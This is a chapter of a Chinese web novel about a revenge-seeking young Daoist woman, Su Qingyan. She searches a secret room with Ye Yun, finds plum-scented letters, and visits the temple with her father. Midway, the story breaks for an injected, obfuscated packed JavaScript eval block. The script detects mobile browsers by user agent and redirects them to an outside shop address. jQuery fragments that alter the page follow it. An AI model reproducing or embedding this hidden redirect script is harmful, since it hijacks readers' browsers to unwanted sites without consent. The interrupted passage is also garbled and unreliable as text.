26. 第 26 章

作品:《娇弱道姑的复仇计划

    三人缓步走进,青庭从怀中掏出火折子,点燃屋中的蜡烛,屋中景象更加明晰地呈现在三人面前。


    这屋子虽算不上大,布置也比较简单,但收拾的很是整洁,一侧放置了一张木床,中间又摆放着一小排书架和一张书桌。苏清衍和叶韫上前,一同翻找起来。


    桌面上倒是一些书法字帖,书架上乍一瞧去也多是些治国理政的圣贤书籍,叶韫摸索了一番,在字帖里翻找出一份名录,两人凑头,一行行往下看,这是一张颍州当地以及近三个月往来颍州的举子名单,每个姓名后面都标注了家中的籍贯、出身,家中所从事的行当、族中是否有人在朝为官,甚至某些人后还标注了此人的品行如何,叶韫的名字赫然在列。


    两人对视一眼,苏清衍看向这些名单上,有人的名字画了圈,也有一些没做标注,有些疑惑。


    叶韫拿过名单细细看着,道:“今天的花朝会这些人都有参与,且……若我没记错,这个梁子诚,就是第一个赞城修凿运河之人。”


    青庭转身到后排书架前,一本一本细细翻找。


    那些书大多是农桑、算术一类的旧籍,封面陈旧,页角发黄,显然只是摆来充数。


    她指尖在书脊间掠过,忽然停在一本《齐民要术》上,稍一用力将书抽出——书后竟露出一处暗格。


    暗格不大,却藏得极深,里头安放着一个漆色略暗的小匣子。青庭屏住呼吸,将匣子取出,小心翼翼地打开。三人凑近一看,里面整齐码放着几摞文书。


    翻开竟是近几年颍州的户籍册与账目,纸页新旧不一,被人按年份整理得极为清楚;再往下翻,最底层压着几封书信。


    苏清衍将书信取出,一一拆开扫过,眉头却渐渐松了下来。信中所写,无非是与韩芷柔定亲那户人家往来的礼数、流程与细枝末节,措辞正式又寻常,看不出半点逾矩之处,许是两家也比较熟悉,信封上亦没有对方的名字。


    她正欲将信放回,叶韫却接了过去,指腹在纸面上摩挲了一下,目光微凝,低声道:“内容倒没什么异常,只是这纸张……不太像寻常所用。”


    苏清衍一怔,又将信接回,凑近细看,随即下意识地轻嗅了一下,一缕极淡却清晰的梅香自纸面浮起,中间或许是因为放置时间有些久了,还掺杂了一丝木质的辛辣。


    这一瞬间,她心头猛地一震,尘封的记忆骤然翻涌而出——梅园诗会!


    正是那一场诗会,传言会用这种特制的、浸过梅香的纸张,将诸位才子佳人的优胜诗文辑印成册。正因如此,那年的诗会要比往年更加隆重,名头更盛。


    那染着梅香的诗本自然也成了京中一时的噱头,引得无数闺中女子为此趋之若鹜,纷纷前往赴会。


    苏清衍握着那封信,指尖不自觉地收紧,呼吸也有些急促。


    叶韫察觉到苏清衍的异样没有立即说话,只递上一方帕巾后悄然离远,默默地等她情绪平复点后,道:“遇到这样的东西,以后可莫要这么凑近闻。”


    苏清衍淡淡说了声谢,便将那信放到最底下将匣子复原。


    三人又匆匆翻找一番后再无发现,三人迅速复原了密室,又快马匆匆赶回花朝会,一路上一直在思考前世与今日发现之间的线索纠缠,之前她以为上一世之死至少是回京之后的意外,如今看来,自己或许早已在无意间踏入了这个被人摆好的棋局,只是等着她一步步主动走向必死的结局。


    苏清衍一路上变得格外安静,赶到会场时已日薄西山,宴会也已接近尾声。


    苏清衍和叶韫索性没再进去,只在最外围远远看着,又吩咐青庭去和苏廷义说一声自己在马车这里等着他也就是了。


    看着青庭走远,偌大的场地只剩下两人。


    苏清衍明白自己在密室时有些失态,以叶韫的机敏玲珑的心思必然猜到了些什么,她眼神看向远处的鼎沸,仿佛在自言自语地轻声开口道:“叶公子没什么想要问我的吗?”


    叶韫闻言转过头看向身旁的女子,浅笑一声:“我们不是说好了彼此不过问缘由,只是为共同的目标行动吗”


    顿了顿:带了些调侃的语调道“难道是苏小姐对我产生了好奇,这才故意以自己为饵试探我的看法?”


    两人间的气氛因这一句玩笑松快了些,彼此也只静静地欣赏着远处的歌舞,没再多言。


    晚霞渐渐披落在远处的群山之上,太阳也似乎燃尽了最后的余热,慢慢消退于天际。


    这时,河的对岸竟燃放起烟火,绚烂的烟花腾空而上,又在刹那间绽放、消散,紧接着又有其他的烟花纷至沓来像为这将尽未尽的残阳黄昏举行一场盛大的告别。河水倒影着天上的烟火,倒让两人有种身临璀璨之地的错觉,天上地下皆绚烂纷呈,让人目不暇接。


    在此突然而来的美景下,苏清衍也瞬间清空了方才所有的繁杂心绪,沉浸于此刻的欢愉中,眼角眉梢不自觉染上了笑意。


    叶韫将这一幕尽收眼底,又突然很想问问她在京城的时候认不认识一个和她很像的女孩,但许是这腾空的烟花也让他不愿去打扰此刻的美好,也静下心投入到这场视觉盛宴中。


    *


    宴会结束后,苏清衍便和叶韫分道扬镳,相约后日在云龙观再详谈。自己则回到马车旁等候着父亲。没一会,便见到各位大人们陆陆续续前来。


    韩芷柔远远地看见苏清衍,快步走来热络地道:“清衍,你方才去哪了,你没看到那最后登场的舞姬和乐师配合地有多好,我在颍州从未见过这样精彩的表演。父亲说这也不是裴伯伯安排的,想必是那位李大人带来的。”


    苏清衍笑着,“我平日不常饮酒,席间有些醉意上头怕失了分寸,便在这外头走了走,倒是无缘见到你说的那般精妙绝伦的表演,是有些可惜。”


    韩芷柔想了想,安慰道:“不过你阿父是在京城为官的,想来你早晚也要回京,到时候我也在京城,那里的表演定然更多更好,我们再一同观赏!”


    苏清衍也笑着点头,自己若真回京能有芷柔为伴,想必日子也会好过很多。


    临走前,韩芷柔像是想到了什么,又拽住苏清衍道:“对了清衍,这彩灯要摆足足五日呢,过几日我们可以一同去永盛坊看花朝节的彩灯,不知你什么时候方便?方便之时可派人来我府上传话。”


    苏清衍点头道:“好,这几日我也正觉得无聊呢,到时候一定叫你同往。”


    回到家中后,许是这一天经历了太多事,苏清衍便也早早回到自己房中歇息。


    没等一会,就听苏廷义扣门道:“皎皎可睡下了,为父给你煮了碗解酒汤,吃下再睡会好些。”


    苏清衍怔住,犹豫再三还是圾鞋起身去开门,迎苏廷义进屋坐下。


    她神色有些疲倦,语气平淡却不失礼貌地道:“有劳父亲记挂了。”


    苏廷义察觉到苏清衍对自己的态度,神色不免有些尴尬。尽管自己女儿言辞依旧温顺得体,可落在耳中,却总透着一层若有似无的疏淡,让人难以忽视。


    他轻咳了一声,像是在斟酌措辞,随即又道:“我昨夜托人又打听了一番,听说你如今以‘清和道长’之名在颍州行走,替百姓解忧排难,名声倒是越来越好了。”


    说到这里,他语气里多了几分真切的欣慰,“可见皎皎从小便是心性仁善、心怀大义的孩子。”


    话音微顿,苏廷义的神情也缓和下来,又接着道:“为父也明白,你能走到今日,离不开你师父玄诚道长的教导与照拂。是以我想着,临行前备些薄礼,亲自去观中感谢一番。”


    他看向苏清衍,语气较先前柔和了许多,“不如明后日你随父亲一同前往,也好替我引荐一二。”


    苏清衍闻言,心中有些意外。


    她原以为父亲仍旧会对自己出入道门之事心存芥蒂或是不再管她,未曾想这一次,他竟也站在她的立场上替她考虑。


    于是苏清衍抬眸,轻轻点了点头,应道:“好,我陪父亲一起去。”


    *


    既这般定下,第二日一早,苏廷义便命人采买了几样寓意延年益寿的名贵药材与滋补之物,亲自提着,与苏清衍一同前往云龙观。


    正值花朝节前后,观中香火却并未因节庆而稀少,反倒信客往来不绝。


    行至内院,只见观中弟子或诵经,或习符演阵,各自专注,井然有序。再观四周陈设,殿宇布局疏朗,阴阳相生、动静相宜,暗合八卦之理。


    苏廷义虽不通道家玄理,却也觉身处其间,心绪渐渐清明,步履不由得轻快了几分。他不由得暗自点头,心中生出几分赞许——不愧是享有盛名道观,虽然在颍州这偏僻之地,却也能成为如此气象端正的道门清修之所。


    玄诚子听闻苏廷义来访,便亲自迎入禅房。苏清衍便乖觉地退下,兀自去找了林净。


    屋内二人寒暄片刻,茶水奉上,这才将话题渐渐引到苏清衍身上。


    苏廷义拱手道:“吾儿在颍州的这段时日,多承玄诚道长悉心教导。前几日我入城途中,便听百姓提及云龙观灵验非常,想来也是道长潜心修行,虽身在清修之所,却始终心系百姓,道心澄澈之故。皎皎能得此机缘,拜在道长门下,又有今日这般造化,实在是她的福分。”


    玄诚子闻言,眉目间的笑意愈发温和,虽知其中不乏客套之辞,却仍难掩心中欣慰。


    他轻抚拂尘,神情故作淡泊,从容答道:“苏大人言重了。贫道收清和为徒,一来是缘分使然,二来也是这孩子本性澄明,心思通透,又肯用功。能得这样一位弟子,贫道亦是欣慰之至。”


    *


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382258|199111||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正去找林净的路上,没想到遇到了叶韫。


    叶韫看到她也有些意外,心下了然她是来找林净的,便道:“我刚扣门,望臣兄不在屋内,想来是有事出去了。”


    苏清衍不疑有他,笑着道:“看来叶公子和师兄愈发亲近了,难得他有你这样有耐心的朋友。”


    两人便在这门口有一搭没一搭地聊着。


    想到昨日的烟火下的身影,叶韫顿了顿还是试探着开口道:“苏小姐对京城是否很熟悉,我年幼时曾随父亲去过一次,只是一晃也近十年未去了。


    苏清衍不置可否,淡声道:“幼时在京城长大,但八岁时就来颍州了,再没回去”


    “我昨日回家途中,路过承文斋,询问了那里的掌柜的是否有卖那染着梅香的纸,掌柜的说……”叶韫饶有兴味地看向她,道“这纸也是今年年初才在京城开始卖的,因为价高、制作工艺也复杂,像颍州这样的地方不会卖。”


    “我观昨日苏小姐一下便察觉出纸张的蹊跷,以为你早知道这线索指向京城。”


    苏清衍听出他字里行间的试探,也明白若是自己真的再没回去,不该如此熟悉那里才时兴的纸,毕竟也不能告诉她自己上辈子听说过这纸,那样叶韫怕是觉得自己疯了,便有些不自然地撤了一个谎道“我也是这次父亲回来听他讲起,没想到这么快就见到,所以昨日有些惊讶。”


    叶韫继续道:“既如此,韩长史将原本正常的六礼之书放入密室,只能说明与之结亲的人家或许是一条线索,昨日花朝会又提到运河之事,想来也许牵扯朝堂,京城定也更加水深了。你我如今涉入其中,都要更加当心。”


    正说话间,林净从廊下转了过来,一眼便看见两人站在一处,脚步微顿,随即笑着凑近。


    “我说你们二位,怎么今日倒齐齐堵在我门口?”他眯起眼打量了一圈,“方才还说得热闹,怎么见我一来就不说话了,你两不会有什么事瞒着我吧?”


    苏清衍被他这一句说得失笑,也不遮掩,顺势接道:“正好提到昨日运河之事,倒想问问,你们写的是赞成,还是反对?”


    叶韫抬眼,“我还未正式步入朝堂,可不想如此早便卷入党争,自然是空白。”


    苏清衍佩服他的心思,若是真留下字迹,以韩长史的本领想必找到这些举子流出的文稿必不是难事,到时候对应字迹各自的心思便一目了然,果然还是空白最可靠。


    正感叹着,林净也大大方方的说:“巧了,我也交的空白。这种风头,谁爱出谁出。我还嫌麻烦呢。”


    苏清衍忍不住抬眼看他,语气中有几分刮目相看的意思:“原先只觉得你成日嬉笑打诨,没个正形,如今看来,倒是我看走眼了。”


    林净得意地扬了扬眉:“那是,小师妹你总算识货了。”


    话锋一转,苏清衍像是想起什么,随口提道:“对了,明晚我与芷柔约好去看彩灯。你们二人若是无事,不如一同前往,也算作个伴。”


    她顿了顿,又补了一句,语气轻快:“你们不日便要动身入京了,就当替你们践行。”


    两人便也应声道好,林净又打着几分打趣补充道:“不过我们可得说好,看花灯归看花灯,要说践行的话……这次可不做数的!”


    苏清衍闻言不由得失笑,“好好好,放心就是。等你们真要离开颍州的那一日,我一定替你们办一场热热闹闹、名正言顺的送行。”


    三人说笑间,廊外却传来脚步声。只见苏廷义匆匆而来,神色略显凝重,见到苏清衍便开口道:“皎皎。”


    苏清衍立刻收敛神色,走上前去:“父亲?”


    苏廷义低声道:“为父方才收到消息,恐怕要先行一步处理些事务,没办法多留。你记着前日父亲答应过的,回去待我处理好事情,找时间接你回家。”


    苏清衍微微一愣,很快应道:“我明白了,父亲放心。”


    苏廷义点了点头,又看了叶韫与林净一眼,略作颔首,便匆匆离去。


    苏清衍看着他渐渐远去的背影,内心没来由地有些失落,便也就推辞先回家了。


    而叶韫却呆呆地愣在原地,目光追随着苏清衍的身影,直到那抹亮色彻底消失在视线中,他才像是回过神来,低声问道:


    “方才……苏大人叫她什么?”


    林净被他问得有些莫名其妙,下意识回想了一下,随口答道:“哦,叫她皎皎吧。好像是她的小名,不过小师妹自己也平日很少提起这个名字。”


    叶韫的指尖微微一紧。


    他站在那里,一时竟没再说话,只觉胸腔深处仿佛被什么轻轻撞了一下,一股暖流慢慢漾了出来,而那颗冰封已久的地方终于被这温暖融出一条裂缝,原本沉寂多年的心脏,也在这一瞬间重新有了清晰而笃定的跳动。